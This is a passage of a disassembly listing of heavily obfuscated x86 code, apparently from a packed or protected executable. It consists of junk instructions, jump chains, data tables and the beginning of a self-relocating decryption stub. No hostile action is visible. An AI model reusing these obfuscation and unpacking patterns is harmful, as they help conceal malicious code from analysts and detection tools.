XREF: .XComp0:0058024Fj add esp, 4 push esi jmp loc_576997 ; --------------------------------------------------------------------------- loc_582C53: ; CODE XREF: .XComp0:005795AAj sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 63C6h mov [esp], edx push ecx push 71081C9Eh pop ecx neg ecx sub ecx, 8EF7E35Eh mov edx, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_577573 ; --------------------------------------------------------------------------- loc_582CAB: ; CODE XREF: .XComp0:0057C909j push esp pop edx jmp loc_58280F ; --------------------------------------------------------------------------- loc_582CB2: ; CODE XREF: .XComp0:00573568j xchg ebp, ebx sub ebx, 1 push edi mov edi, 5F6F2F7Bh jmp loc_57EEA8 ; --------------------------------------------------------------------------- loc_582CC5: ; CODE XREF: .XComp0:005743B6j add ebp, 4 push esi mov esi, 4 add ebp, 15D31F1Eh jmp loc_57430F ; --------------------------------------------------------------------------- loc_582CDC: ; CODE XREF: .XComp0:0057DC8Cj and ebp, 426502CFh jmp loc_578CA5 ; --------------------------------------------------------------------------- loc_582CE7: ; CODE XREF: .XComp0:0057919Aj shr ebx, 5 shl ebx, 2 add ebx, 31CD41AEh add ebx, 809D59CBh jmp loc_57F45B ; --------------------------------------------------------------------------- loc_582CFE: ; CODE XREF: .XComp0:0057D7CAj push dword ptr [esp] pop ebp add esp, 4 jmp loc_577E75 ; --------------------------------------------------------------------------- loc_582D0A: ; CODE XREF: .XComp0:00573C7Fj push eax not dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edx push ecx mov ecx, 0E1DA5F21h mov edx, ecx pop ecx jmp loc_5740A8 ; --------------------------------------------------------------------------- loc_582D24: ; CODE XREF: .XComp0:005762CFj dec ebp jmp loc_57EE32 ; --------------------------------------------------------------------------- loc_582D2A: ; CODE XREF: .XComp0:00577870j pop ebp push ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_57EACF ; --------------------------------------------------------------------------- loc_582D3F: ; CODE XREF: .XComp0:0057668Cj and ecx, 64A84070h xor ecx, 64A00074h add eax, ecx pop ecx jmp loc_576529 ; --------------------------------------------------------------------------- loc_582D53: ; CODE XREF: .XComp0:00573854j push ecx mov ecx, esp push edx mov edx, 4 add ecx, edx pop edx add ecx, 2 xchg ecx, [esp] pop esp jmp loc_57AA93 ; --------------------------------------------------------------------------- loc_582D6E: ; CODE XREF: .XComp0:0057CDFDj add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push esi mov esi, 372D6617h xor esi, 16356C6Eh push edx jmp loc_5793AB ; --------------------------------------------------------------------------- loc_582DA1: ; CODE XREF: .XComp0:0057A739j push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_57A3F9 ; --------------------------------------------------------------------------- loc_582DAE: ; CODE XREF: .XComp0:0057C835j mov [esp], edx mov dh, 97h dec dh sub dh, 7Eh push 0A20h mov [esp], eax mov ah, 25h sub ah, 0C5h shl ah, 2 jmp loc_57418B ; --------------------------------------------------------------------------- loc_582DCD: ; CODE XREF: .XComp0:00574A5Cj add esp, 4 push 17CEh jmp loc_5786D2 ; --------------------------------------------------------------------------- loc_582DDA: ; CODE XREF: .XComp0:00574D01j mov ebx, esp jmp loc_57BE0E ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_582DEB: ; CODE XREF: .XComp0:005744ABj mov dh, 0C7h jmp loc_57F9A6 ; --------------------------------------------------------------------------- loc_582DF2: ; CODE XREF: .XComp0:0057CEE4j add ebp, esi add ebp, 7FED2371h mov esi, [esp] add esp, 4 jmp loc_57B71D ; --------------------------------------------------------------------------- loc_582E05: ; CODE XREF: .XComp0:00581727j mov esi, edx pop edx jmp loc_57398E ; --------------------------------------------------------------------------- loc_582E0D: ; CODE XREF: .XComp0:00577387j pop edx jmp loc_575210 ; --------------------------------------------------------------------------- loc_582E13: ; CODE XREF: .XComp0:00578E23j mov ebx, [esp] push eax mov eax, esp jmp loc_582F61 ; --------------------------------------------------------------------------- loc_582E1E: ; CODE XREF: .XComp0:00575681j pop eax mov eax, esi pop esi mov esi, eax mov eax, [esp] add esp, 4 push eax mov eax, 51D0110h jmp loc_57CCA7 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_57E09B ; --------------------------------------------------------------------------- loc_582E3E: ; CODE XREF: .XComp0:00581507j push dword ptr [esp+4] pop ebp jmp loc_57FAC7 ; --------------------------------------------------------------------------- loc_582E48: ; CODE XREF: .XComp0:0057E720j sub esp, 4 jmp loc_582F2A ; --------------------------------------------------------------------------- loc_582E50: ; CODE XREF: .XComp0:0057827Dj xor [esp], ebx xor ebx, [esp] pop esp push dword ptr [esp] pop eax jmp loc_578BCB ; --------------------------------------------------------------------------- loc_582E60: ; CODE XREF: .XComp0:0057ED5Cj add ebp, ecx push edi mov edi, 35382C31h or edi, 46CE739Bh push ecx mov ecx, 6F417BA1h add ecx, 0ECAF99BCh add edi, 53433048h add edi, ecx sub edi, 53433048h pop ecx sub edi, 67E753B8h add ebp, edi mov edi, [esp] add esp, 4 mov ecx, [esp] add esp, 4 xchg ebp, [esp] jmp loc_57CC55 ; --------------------------------------------------------------------------- loc_582EA8: ; CODE XREF: .XComp0:005823ACj and edx, 2AFC6C1Ch add edx, 0FFFFFFFFh add edx, 967664Fh neg edx inc edx xor edx, 0CF43AD23h add esi, 4A8A0524h add esi, edx sub esi, 4A8A0524h mov edx, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_575C4C ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_573541 ; --------------------------------------------------------------------------- loc_582EF1: ; CODE XREF: .XComp0:00574560j xor edx, eax jmp loc_573541 ; --------------------------------------------------------------------------- loc_582EF8: ; CODE XREF: .XComp0:0057C07Fj push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax push edx mov edx, 2 add ebx, edx pop edx xchg ebx, [esp] pop esp sub esp, 2 jmp loc_57F060 ; --------------------------------------------------------------------------- loc_582F19: ; CODE XREF: .XComp0:0057CE53j add esi, 232D6C18h sub esi, 575855C7h jmp loc_579963 ; --------------------------------------------------------------------------- loc_582F2A: ; CODE XREF: .XComp0:00582E4Bj mov [esp], eax mov eax, 0C625775h xor edi, eax pop eax xor eax, edi mov edi, [esp] push edi mov edi, esp push ebx mov ebx, 7AFB36F5h inc ebx jmp loc_575222 ; --------------------------------------------------------------------------- loc_582F49: ; CODE XREF: .XComp0:00580B1Dj add esp, 4 push 5303h mov [esp], ebp mov ebp, 5184C22h jmp loc_578636 ; --------------------------------------------------------------------------- loc_582F61: ; CODE XREF: .XComp0:00582E19j push ecx push 6ECE4B6Fh pop ecx jmp loc_576689 ; --------------------------------------------------------------------------- loc_582F6D: ; CODE XREF: .XComp0:00579EAAj sub ebx, 73AF0F3Fh jmp loc_575722 ; --------------------------------------------------------------------------- loc_582F78: ; CODE XREF: .XComp0:005779BDj push 4DE8h mov [esp], ecx jmp loc_579613 ; --------------------------------------------------------------------------- loc_582F85: ; CODE XREF: .XComp0:00582C45j pop ebx jmp loc_5736A0 ; --------------------------------------------------------------------------- loc_582F8B: ; CODE XREF: .XComp0:00576FE2j add [esp+4], eax pop eax mov eax, [esp] jmp loc_58025F ; --------------------------------------------------------------------------- loc_582F98: ; CODE XREF: .XComp0:0057469Ej pop esp jmp loc_57BED5 ; --------------------------------------------------------------------------- loc_582F9E: ; CODE XREF: .XComp0:0057B670j pop esi add esp, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp jmp loc_58049C ; --------------------------------------------------------------------------- loc_582FB7: ; CODE XREF: .XComp0:0057989Cj not ebp shr ebp, 7 add ebp, 2A3922DEh sub ecx, ebp pop ebp and ebp, ecx pop ecx sub ebp, 41D53187h jmp loc_57BB1E ; --------------------------------------------------------------------------- loc_582FD3: ; CODE XREF: .XComp0:005775BAj sub eax, 49263E1Ah mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_573F57 ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 2B5Dh mov [esp], ax jmp loc_5792E6 ; --------------------------------------------------------------------------- loc_582FF7: ; CODE XREF: .XComp0:0057C0BCj mov [esp], ebp push eax mov eax, 57B176BEh sub eax, 6B3E3AF4h or eax, 1A7B32B0h push esi jmp loc_575E5A ; --------------------------------------------------------------------------- loc_583010: ; CODE XREF: .XComp0:00577AE1j sub esp, 4 mov [esp], ecx mov ecx, 6CBC5C1Ah jmp loc_57523F ; --------------------------------------------------------------------------- loc_583023: ; CODE XREF: .XComp0:00573CC4j add ebx, edi pop edi add ebx, 1E3F1622h add ebx, eax sub ebx, 1E3F1622h sub esp, 4 mov [esp], edi jmp loc_57D5D7 ; --------------------------------------------------------------------------- loc_58303F: ; CODE XREF: .XComp0:0057F543j neg eax xor eax, 725A2642h add eax, 7FF3E9F3h sub ebx, eax jmp loc_573941 ; --------------------------------------------------------------------------- loc_583052: ; CODE XREF: .XComp0:0057EA7Bj mov edi, esp jmp loc_57E772 ; --------------------------------------------------------------------------- loc_583059: ; CODE XREF: .XComp0:0057BE1Cj mov [esp], bx mov bl, 0F1h add ch, bl mov bx, [esp] add esp, 2 jmp loc_57AE2A ; --------------------------------------------------------------------------- loc_58306D: ; CODE XREF: .XComp0:0057DF67j push dword ptr [esp] pop edi add esp, 4 push eax push esp pop eax jmp loc_576A56 ; --------------------------------------------------------------------------- loc_58307C: ; CODE XREF: .XComp0:0057EB8Dj mov esi, 38A57355h sub esi, 38A57351h add ebp, esi pop esi push edi mov edi, 2 add ebp, edi mov edi, [esp] push edx mov edx, esp jmp loc_577373 ; --------------------------------------------------------------------------- loc_58309D: ; CODE XREF: .XComp0:005771B5j shr edx, 2 jmp loc_5825D8 ; --------------------------------------------------------------------------- loc_5830A5: ; CODE XREF: .XComp0:00575178j add ebp, 0FE7ABFBFh add ebx, 77906328h jmp loc_57F531 ; --------------------------------------------------------------------------- loc_5830B6: ; CODE XREF: .XComp0:005747F2j add eax, 4 xchg eax, [esp] pop esp jmp loc_57E4FA ; --------------------------------------------------------------------------- loc_5830C4: ; CODE XREF: .XComp0:00579692j add edi, 4 push 10Eh mov [esp], ebx mov ebx, 4 jmp loc_58215A ; --------------------------------------------------------------------------- loc_5830DC: ; CODE XREF: .XComp0:0057FA19j mov [esp], esi jmp loc_578D66 ; --------------------------------------------------------------------------- loc_5830E4: ; CODE XREF: .XComp0:00574EB4j push edi not dword ptr [esp] pop edi sub edi, 0F458C108h push 3C02h mov [esp], edi jmp loc_573C46 ; --------------------------------------------------------------------------- loc_5830FC: ; CODE XREF: .XComp0:00576014j pop ebx mov esi, [esp] jmp loc_58052C ; --------------------------------------------------------------------------- loc_583105: ; CODE XREF: .XComp0:0057CE76j mov [esp], ecx mov ecx, 297A05B5h sub ecx, 1D09D984h jmp loc_574D11 ; --------------------------------------------------------------------------- loc_583118: ; CODE XREF: .XComp0:0057657Bj add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_57522F ; --------------------------------------------------------------------------- loc_583129: ; CODE XREF: .XComp0:0057F1F9j mov edi, [esp] add esp, 4 push ebx sub esp, 4 jmp loc_57F76E ; --------------------------------------------------------------------------- loc_583138: ; CODE XREF: .XComp0:00579CE1j add esi, 67C77DD9h mov ebp, [esp] push edx jmp loc_57EA2B ; --------------------------------------------------------------------------- xor [esp], dx jmp loc_57DABA ; --------------------------------------------------------------------------- loc_583150: ; CODE XREF: .XComp0:0057FDFDj mov [esp], edx mov edx, 4 jmp loc_5796C7 ; --------------------------------------------------------------------------- loc_58315D: ; CODE XREF: .XComp0:0057C8BFj neg esi jmp loc_58332A ; --------------------------------------------------------------------------- loc_583164: ; CODE XREF: .XComp0:005755A0j mov esi, esp add esi, 4 jmp loc_580521 ; --------------------------------------------------------------------------- loc_583171: ; CODE XREF: .XComp0:0057E44Fj push edi mov edi, 30D37061h xor edi, 30D37065h sub esi, edi jmp loc_577F3B ; --------------------------------------------------------------------------- loc_583184: ; CODE XREF: .XComp0:0057AFC8j or edx, 442E4793h dec edx jmp loc_579C13 ; --------------------------------------------------------------------------- loc_583190: ; CODE XREF: .XComp0:0057F711j add ebp, esi push edi mov edi, 38DD04D9h inc edi shl edi, 2 not edi inc edi not edi sub edi, 6D329EDCh add ebp, edi pop edi pop esi jmp loc_57DD98 ; --------------------------------------------------------------------------- loc_5831B0: ; CODE XREF: .XComp0:0057A1DDj mov [esp], ebp push esp pop ebp push esi mov esi, 0F11248Bh xor esi, 70B748E4h neg esi sub esi, 0FFFFFFFFh jmp loc_57A9CC ; --------------------------------------------------------------------------- loc_5831CE: ; CODE XREF: .XComp0:00576B1Cj movzx eax, al push small 1F9Fh mov [esp], ax jmp loc_573541 ; --------------------------------------------------------------------------- loc_5831DE: ; CODE XREF: .XComp0:0057D7E0j xchg ecx, [esp] jmp loc_577E24 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 sub esp, 4 jmp loc_57AE93 ; --------------------------------------------------------------------------- loc_583202: ; CODE XREF: .XComp0:005805ADj xor ebx, [esp] jmp loc_580012 ; --------------------------------------------------------------------------- loc_58320A: ; CODE XREF: .XComp0:00574409j sub bl, al jmp loc_57E797 ; --------------------------------------------------------------------------- loc_583211: ; CODE XREF: .XComp0:00573F5Fj or ecx, 7CF54943h inc ecx add ecx, 2B4C4DE0h shl ecx, 6 push eax mov eax, 0EDA7F3D0h sub ecx, eax pop eax jmp loc_576BBF ; --------------------------------------------------------------------------- loc_58322F: ; CODE XREF: .XComp0:005746EBj or ebp, 301B35EAh push 0 sub [esp], ebp pop ebp add ebp, 0B51BB5FCh add ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] div cl jmp loc_5795FB ; --------------------------------------------------------------------------- loc_583254: ; CODE XREF: .XComp0:005773F9j add ebx, 346F7EC7h add ebx, edi sub ebx, 346F7EC7h jmp loc_575E9C ; --------------------------------------------------------------------------- loc_583267: ; CODE XREF: .XComp0:00576F41j add ebx, 1842879h pop ecx add ebx, edi jmp loc_581C18 ; --------------------------------------------------------------------------- loc_583275: ; CODE XREF: .XComp0:0057E568j sub al, 27h jmp loc_582128 ; --------------------------------------------------------------------------- loc_58327C: ; CODE XREF: .XComp0:0057F222j xor ebx, edx pop edx push edi jmp loc_580E9D ; --------------------------------------------------------------------------- loc_583285: ; CODE XREF: .XComp0:0057B162j mov edi, 0F5D387AFh add edi, ecx pop ecx shr edi, 5 jmp loc_57C864 ; --------------------------------------------------------------------------- loc_583295: ; CODE XREF: .XComp0:0057B581j mov cx, [esp] push ecx mov ecx, esp push eax jmp loc_57E60F ; --------------------------------------------------------------------------- loc_5832A2: ; CODE XREF: .XComp0:0057E041j neg esi sub esi, 0A8A5BFC3h jmp loc_57D03F ; --------------------------------------------------------------------------- loc_5832AF: ; CODE XREF: .XComp0:0057A3B0j not dl dec dl and dl, 0ECh or dl, 2Ch xor dl, 41h sub al, 4Dh sub al, 58h jmp loc_5761FD ; --------------------------------------------------------------------------- loc_5832C5: ; CODE XREF: .XComp0:00576493j pop esi pop dword ptr [esp] pop esp mov [esp], edi push esp push dword ptr [esp] mov edi, [esp] jmp loc_574A3D ; --------------------------------------------------------------------------- loc_5832D9: ; CODE XREF: .XComp0:00579B3Aj push ebx mov ebx, 44025280h jmp loc_57B59A ; --------------------------------------------------------------------------- loc_5832E4: ; CODE XREF: .XComp0:00573EA9j push 694Fh mov [esp], edi push esp jmp loc_57C67A ; --------------------------------------------------------------------------- loc_5832F2: ; CODE XREF: .XComp0:0057C7D3j pop esp push edi push esp pop edi push ebx mov ebx, 4 add edi, ebx pop ebx push eax push ebp jmp loc_57C606 ; --------------------------------------------------------------------------- loc_583306: ; CODE XREF: .XComp0:0057775Cj push ecx mov cl, 7Eh dec cl jmp loc_576B2B ; --------------------------------------------------------------------------- loc_583310: ; CODE XREF: .XComp0:0057EF2Fj sub esi, 0E2A3D36Fh add ebp, esi jmp loc_57F7B9 ; --------------------------------------------------------------------------- loc_58331D: ; CODE XREF: .XComp0:0057C4E1j push ebx mov ebx, 4 add ecx, ebx jmp loc_57444D ; --------------------------------------------------------------------------- loc_58332A: ; CODE XREF: .XComp0:0058315Fj add esi, 5FB58F84h sub eax, esi pop esi jmp loc_57B933 ; --------------------------------------------------------------------------- loc_583338: ; CODE XREF: .XComp0:00579FECj push esp mov ebx, [esp] add esp, 4 jmp loc_57A0BC ; --------------------------------------------------------------------------- loc_583344: ; CODE XREF: .XComp0:00577A5Fj add ebx, ebp pop ebp xor ebx, [esp] xor [esp], ebx jmp loc_57DB97 ; --------------------------------------------------------------------------- loc_583352: ; CODE XREF: .XComp0:0057AF8Aj xor edx, 11BB2BF0h sub ebp, edx pop edx sub ebp, 55879EEh shr ebp, 1 add ebp, 82D4A80Dh mov eax, ebp pop ebp jmp loc_581565 ; --------------------------------------------------------------------------- loc_583371: ; CODE XREF: .XComp0:00575204j mov esi, edi mov ecx, esi push dword ptr [esp] jmp loc_580368 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_5758BD ; --------------------------------------------------------------------------- loc_583398: ; CODE XREF: .XComp0:0057EB2Fj push eax push ecx mov ch, dl jmp loc_57CD26 ; --------------------------------------------------------------------------- loc_5833A1: ; CODE XREF: .XComp0:0057B924j mov ebp, [esp] add esp, 4 jmp loc_57D067 ; --------------------------------------------------------------------------- loc_5833AC: ; CODE XREF: .XComp0:0057B6C2j mov eax, 46657846h sub eax, 65BC35B4h push 49E0h mov [esp], edi mov edi, 5BFD0936h add edi, 532C0CB3h sub edi, 0FFFFFFFFh push esi mov esi, 725A0544h sub edi, esi pop esi push ecx mov ecx, 2F506F92h jmp loc_57A648 ; --------------------------------------------------------------------------- loc_5833E3: ; CODE XREF: .XComp0:0057622Dj add esp, 4 push 381F40F3h mov edi, [esp] add esp, 4 sub edi, esi jmp loc_57CE60 ; --------------------------------------------------------------------------- loc_5833FB: ; CODE XREF: .XComp0:0057A37Fj xchg ebx, [esp] pop esp jmp loc_58076F ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_573541 ; --------------------------------------------------------------------------- loc_58340C: ; CODE XREF: .XComp0:00578E0Dj xchg esi, [esp] pop esp jmp loc_57C079 ; --------------------------------------------------------------------------- loc_583415: ; CODE XREF: .XComp0:0057AC74j add esp, 4 xchg ebx, edi xchg edi, ebp and ebp, 7AD56ADFh sub esp, 4 mov [esp], edi jmp loc_57F495 ; --------------------------------------------------------------------------- loc_583430: ; CODE XREF: .XComp0:0057640Fj xchg ebx, [esp] mov esp, [esp] jmp loc_573DF8 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp jmp loc_574A70 ; --------------------------------------------------------------------------- loc_583455: ; CODE XREF: .XComp0:0057E174j mov [esp], ecx mov ecx, eax push ecx sub dword ptr [esp], 77545BB1h mov edx, [esp] push edi jmp loc_573E48 ; --------------------------------------------------------------------------- loc_58346B: ; CODE XREF: .XComp0:00574720j sub edi, 35D95768h sub edi, ecx add edi, 35D95768h pop ecx inc edi push eax mov eax, esp add eax, 4 push edi mov edi, 4 sub eax, edi pop edi xchg eax, [esp] pop esp mov [esp], edx jmp loc_57D52F ; --------------------------------------------------------------------------- loc_583498: ; CODE XREF: .XComp0:0057C39Cj push eax jmp loc_57A128 ; --------------------------------------------------------------------------- loc_58349E: ; CODE XREF: .XComp0:00576BD7j add dword ptr [esp], 47BF03D6h add [esp], eax jmp loc_57C5BF ; --------------------------------------------------------------------------- loc_5834AD: ; CODE XREF: .XComp0:0057CA41j inc eax inc eax xor eax, 63E00BD2h xor eax, 18177B13h xor eax, 990C809Fh sub edx, eax pop eax jmp loc_57F019 ; --------------------------------------------------------------------------- loc_5834C6: ; CODE XREF: .XComp0:00576E1Fj push ebx mov ebx, 56D4E8Dh sub esp, 4 mov [esp], edx mov edx, 43CA25E4h sub ebx, edx jmp loc_57BA1C ; --------------------------------------------------------------------------- loc_5834E1: ; CODE XREF: .XComp0:0057CD16j add esi, 4 sub esp, 4 jmp loc_5810D8 ; --------------------------------------------------------------------------- loc_5834EF: ; CODE XREF: .XComp0:00574448j mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, 4 xchg ecx, [esp] mov esp, [esp] test ecx, eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_583513: ; CODE XREF: .XComp0:0057F59Dj sub esp, 4 mov [esp], ecx mov ecx, 4 push eax mov eax, 31B20A69h sub ebx, eax pop eax jmp loc_57DD69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_58352F: ; CODE XREF: sub_5A47B5-31273j sub al, 1Eh push dx push eax mov ah, 99h sub ah, 0Fh mov dl, ah pop eax add al, dl jmp loc_57D675 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_583543: ; CODE XREF: .XComp0:0057CC56j ror dword ptr [esp], cl pushf jmp loc_57AB3D ; --------------------------------------------------------------------------- loc_58354C: ; CODE XREF: .XComp0:005758B8j add ebx, 29B41B1Dh jmp loc_57429D ; --------------------------------------------------------------------------- loc_583557: ; CODE XREF: .XComp0:005772B9j pop ebx push esi mov esi, 68F9446Dh shr esi, 6 dec esi push ebx mov ebx, 6C267B1Ah sub esi, 77E459C7h add esi, ebx add esi, 77E459C7h pop ebx shl esi, 7 add esi, 8DB30147h sub ebx, esi pop esi sub ebx, 0B5B70870h push ebx jmp loc_5812AD ; --------------------------------------------------------------------------- loc_58358F: ; CODE XREF: .XComp0:0057A095j xchg esi, [esp] jmp loc_573D83 ; --------------------------------------------------------------------------- loc_583597: ; CODE XREF: .XComp0:0057C634j push edi mov edi, 112A3139h jmp loc_573B21 ; --------------------------------------------------------------------------- loc_5835A2: ; CODE XREF: .XComp0:0057ADDCj push 308Eh mov [esp], edx mov edx, 76875A29h dec edx xor edx, 40D31432h push ebp jmp loc_575218 ; --------------------------------------------------------------------------- loc_5835BC: ; CODE XREF: .XComp0:005774F4j mov ebx, 46946C1h shr ebx, 6 shr ebx, 2 jmp loc_575B45 ; --------------------------------------------------------------------------- loc_5835CC: ; CODE XREF: .XComp0:0057CAFBj pop edi push ecx jmp loc_57CBEF ; --------------------------------------------------------------------------- loc_5835D3: ; CODE XREF: .XComp0:0057CF86j add edx, 7470C04h mov ecx, [esp] jmp loc_579211 ; --------------------------------------------------------------------------- loc_5835E1: ; CODE XREF: .XComp0:00575E3Dj pop esi pop ebp not ebp jmp loc_574D3D ; --------------------------------------------------------------------------- loc_5835EA: ; CODE XREF: .XComp0:00575937j mov edx, 0A7D8F027h sub eax, edx pop edx sub esp, 4 jmp loc_5772F0 ; --------------------------------------------------------------------------- loc_5835FD: ; CODE XREF: .XComp0:00578F05j mov eax, 6BE0290Ah or eax, 55203E97h jmp loc_57FF3C ; --------------------------------------------------------------------------- loc_58360C: ; CODE XREF: .XComp0:005796BAj mov esi, [esp] add esp, 4 add ebx, edi push edx jmp loc_58182B ; --------------------------------------------------------------------------- loc_58361A: ; CODE XREF: .XComp0:0057F3DAj sub edx, 4 xchg edx, [esp] pop esp jmp loc_57F18C ; --------------------------------------------------------------------------- loc_583626: ; CODE XREF: .XComp0:0057A397j add ebx, 93832FEFh mov ecx, ebx pop ebx add edx, ecx jmp loc_574431 ; --------------------------------------------------------------------------- loc_583636: ; CODE XREF: .XComp0:00573E03j add esp, 4 shl ebp, 3 shl ebp, 1 shl ebp, 3 inc ebp push edi mov edi, 3D2B4025h sub edi, 1 jmp loc_5802E1 ; --------------------------------------------------------------------------- loc_583653: ; CODE XREF: .XComp0:0057DAF0j add edi, 4 push eax mov eax, 4DFE4287h push ecx mov ecx, 55F2D2Dh or ecx, 5DE17A8Ah sub ecx, 10E91B4Bh shl ecx, 3 or ecx, 1B431D88h add ecx, 0D20B02DBh xor eax, ecx pop ecx sub edi, 59D66E68h add edi, eax push edx jmp loc_575FB6 ; --------------------------------------------------------------------------- push 1DD6h push esp pop dword ptr [esp] sub esp, 4 mov [esp], esi mov esi, 4 push edx mov edx, 7F525127h sub [esp+8], edx mov edx, [esp] add esp, 4 push esi mov esi, 1B617BFh add [esp+8], esi mov esi, [esp] add esp, 4 add [esp+4], esi sub dword ptr [esp+4], 1B617BFh add dword ptr [esp+4], 7F525127h push dword ptr [esp] mov esi, [esp] add esp, 4 push edx jmp loc_5753F6 ; --------------------------------------------------------------------------- loc_5836EB: ; CODE XREF: .XComp0:0057CF00j add esi, 4 jmp loc_5792C7 ; --------------------------------------------------------------------------- loc_5836F6: ; CODE XREF: .XComp0:0057756Ej shr cl, 8 jmp loc_581E04 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 push esi push esp pop esi add esi, 4 push 38CAh mov [esp], edi push ebp jmp loc_5755F5 ; --------------------------------------------------------------------------- loc_58371E: ; CODE XREF: .XComp0:0057746Cj mov [esp], edx jmp loc_581EF6 ; --------------------------------------------------------------------------- loc_583726: ; CODE XREF: .XComp0:005829AAj push edi push dword ptr [esp+4] pop edi jmp loc_573B2C ; --------------------------------------------------------------------------- loc_583731: ; CODE XREF: .XComp0:0057DFCFj add esp, 4 jmp loc_57776F ; --------------------------------------------------------------------------- dd offset loc_5E6C4C+2 dd offset byte_5E5825 ; --------------------------------------------------------------------------- retf 5D83h ; --------------------------------------------------------------------------- dd 12FF4CFAh, 5E478700h, 5DB5ED00h, 90EB94FAh, 2137Ch dd 200h, 100h, 300h, 5DB5ED00h, 0FAh, 4 dup(0) dd 594E9400h, 58636100h, 5873B500h, 5949F600h, 593C5900h dd 59165700h, 583F6000h, 5950CC00h, 5911DD00h, 590F8D00h dd 58B8C900h, 590A0E00h, 58B20400h, 58E62000h, 58A22900h dd 584F0700h, 5941F200h, 58D2F500h, 58BA7900h, 58CF0F00h dd 58735500h, 593CA100h, 589C4700h, 5850A500h, 58C56000h dd 58DDF900h, 593C9100h, 594FF500h, 59578300h, 58975E00h dd 58515500h, 58E59500h, 5847C800h, 58953300h, 58477200h dd 58949C00h, 58B18F00h, 5977BB00h, 58E2DA00h, 58B32800h dd 58C60E00h, 589A1F00h, 58654700h, 58998900h, 597D0F00h dd 5959AE00h, 595FD700h, 58495400h, 58BD7900h, 58857000h dd 58459E00h, 58B5A600h, 58FC5200h, 59696200h, 58E1F000h dd 584FAE00h, 596E9D00h, 59209E00h, 58BD1900h, 58F7CC00h dd 58CC6500h, 59464500h, 593BF000h, 58622B00h, 58BE0200h dd 583D1200h, 589A7300h, 5940D000h, 58563900h, 589DC300h dd 58611D00h, 587D9600h, 59736600h, 5945DE00h, 58C42C00h dd 595EA300h, 59108C00h, 58FD2C00h, 5842A300h, 58FD1100h dd 587E5C00h, 5923E400h, 59007100h, 58EA4300h, 59561F00h dd 58D59100h, 5880DE00h, 5944C900h, 59227000h, 583B4800h dd 58470B00h, 595F2E00h, 58890B00h, 592D0E00h, 59162C00h dd 594FA800h, 58BD5D00h, 58827A00h, 59851100h, 59503600h dd 590EC300h, 5899D700h, 58C57900h, 58A33900h, 59195B00h dd 58EB5E00h, 596E4E00h, 58E91800h, 58660600h, 593B6D00h dd 589CF100h, 59605600h, 590B9400h, 585D6A00h, 58A25300h dd 5871BD00h, 590A5F00h, 5948AE00h, 59252900h, 588AFC00h dd 593CB500h, 58754700h, 59087700h, 59177300h, 58E68B00h dd 58737400h, 588E1D00h, 58799900h, 595F0800h, 585F5B00h dd 58AEDE00h, 595AFD00h, 58F9BD00h, 5875EB00h, 590D9C00h dd 58C18D00h, 58D0D700h, 58AF3000h, 58CD5800h, 586D5700h dd 58766A00h, 58C5ED00h, 588E9D00h, 59562800h, 59289100h dd 58DEBB00h, 59055900h, 58400C00h, 58608B00h, 58E30700h dd 59604D00h, 583BB200h, 5989CE00h, 58731600h, 59230200h dd 58C42400h, 5895FE00h, 5955D300h, 596D5800h, 58E4DC00h dd 58499500h, 59439100h, 589D1000h, 58F8C800h, 59150800h dd 5982C100h, 58CFE600h db 0 ; --------------------------------------------------------------------------- loc_583A19: ; CODE XREF: .XComp0:005D0022j ; .XComp0:005D002Cj ... pusha pushf cld call $+5 pop edi sub edi, 5FA8434h mov eax, edi add edi, 5FA814Ch cmp eax, [edi+2Ch] jnz short loc_583A37 jmp short loc_583A4A ; --------------------------------------------------------------------------- loc_583A37: ; CODE XREF: .XComp0:00583A33j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_583A46 ; --------------------------------------------------------------------------- loc_583A41: ; CODE XREF: .XComp0:00583A48j add [edi+ecx*4+40h], eax dec ecx loc_583A46: ; CODE XREF: .XComp0:00583A3Fj or ecx, ecx jnz short loc_583A41 loc_583A4A: ; CODE XREF: .XComp0:00583A35j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_583A57: ; CODE XREF: .XComp0:00583A5Ej xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_583A57 loc_583A60: ; CODE XREF: .XComp0:00583E60j ; .XComp0:00583F62j ... lodsb jmp loc_586B9A ; --------------------------------------------------------------------------- loc_583A66: ; CODE XREF: .XComp0:00587292j xor bh, al mov eax, [esp] add esp, 4 sub al, 0CEh jmp loc_58B497 ; --------------------------------------------------------------------------- loc_583A78: ; CODE XREF: .XComp0:0058DB63j push eax mov eax, 24F721Eh sub ebp, 3C3151D9h sub ebp, eax add ebp, 3C3151D9h pop 